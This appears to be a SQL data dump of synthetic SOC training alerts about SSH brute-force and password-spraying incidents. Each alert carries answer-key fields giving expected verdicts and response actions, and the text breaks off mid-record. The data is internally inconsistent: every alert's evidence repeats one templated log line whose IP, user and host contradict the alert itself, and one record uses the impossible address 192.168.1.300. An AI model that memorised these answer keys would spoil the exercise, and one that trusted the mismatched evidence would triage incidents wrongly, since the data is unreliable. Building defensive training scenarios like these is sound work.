(1653, 'SSH Brute Force Spike Detected', 'critical', 'Wazuh', 'A surge in SSH login attempts from an external IP address was detected targeting the server ssh01. Potential brute force attack in progress.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T04:30:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"ssh01\",\"failed_attempts\":50}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for SSH brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target SSH server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is flagged for numerous brute force activities, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:57:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:56:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:55:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:54:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1654, 'Failed Login Attempts from Known Malicious IP', 'medium', 'Azure Sentinel', 'Several failed login attempts detected from a suspicious IP address against the internal authentication server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.200\",\"username\":\"m.smith\",\"hostname\":\"authserver01\",\"failed_attempts\":30}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP flagged for multiple unauthorized login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the authentication server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"m.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is known for malicious activities, confirming the attack attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:57:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:56:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:55:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:54:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1655, 'Potential Password Spraying Detected', 'high', 'Elastic SIEM', 'A high number of failed login attempts from a single external IP address was detected. Possible password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:47:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.75\",\"dst_ip\":\"192.168.1.150\",\"username\":\"e.turner\",\"hostname\":\"intranet01\",\"failed_attempts\":40}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with password spraying activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Network Mapping\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target machine\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"e.turner\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP has been flagged for password spraying, confirming this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:57:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:56:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:55:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:54:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1656, 'Unusual SSH Login Activity Detected', 'medium', 'Wazuh', 'Detected a spike in SSH login attempts from an IP address known for suspicious activities.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.51\",\"dst_ip\":\"10.0.0.10\",\"username\":\"root\",\"hostname\":\"sshserver02\",\"failed_attempts\":45}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.51\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP known for SSH brute force attempts reported 300 times\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the SSH server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is flagged for numerous brute force activities, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:57:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:56:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:55:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:54:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1657, 'Failed Password Spraying Attempt', 'medium', 'Splunk', 'A series of failed login attempts from an external IP address, indicating a potential password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:25:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.1.250\",\"username\":\"c.jones\",\"hostname\":\"authgateway01\",\"failed_attempts\":20}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.250\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal IT\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the authentication gateway\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"c.jones\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with known credential attacks, validating the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:57:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:56:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:55:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:54:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1658, 'Suspicious SSH Login Attempts', 'critical', 'Azure Sentinel', 'Numerous failed SSH login attempts detected from a foreign IP address targeting internal servers.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:12:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.75\",\"dst_ip\":\"10.0.1.20\",\"username\":\"sysadmin\",\"hostname\":\"datacenter01\",\"failed_attempts\":50}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 500 times for suspicious SSH activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the data center server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"sysadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is flagged for suspicious SSH activities, confirming it as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:57:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:56:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:55:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:54:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1659, 'Failed Brute Force Attempt on Web Portal', 'medium', 'Elastic SIEM', 'Detected multiple failed login attempts from a known suspicious IP address targeting the company\'s web portal.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.150\",\"dst_ip\":\"192.168.1.300\",\"username\":\"b.adams\",\"hostname\":\"webapp01\",\"failed_attempts\":25}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.300\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Reports\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target web 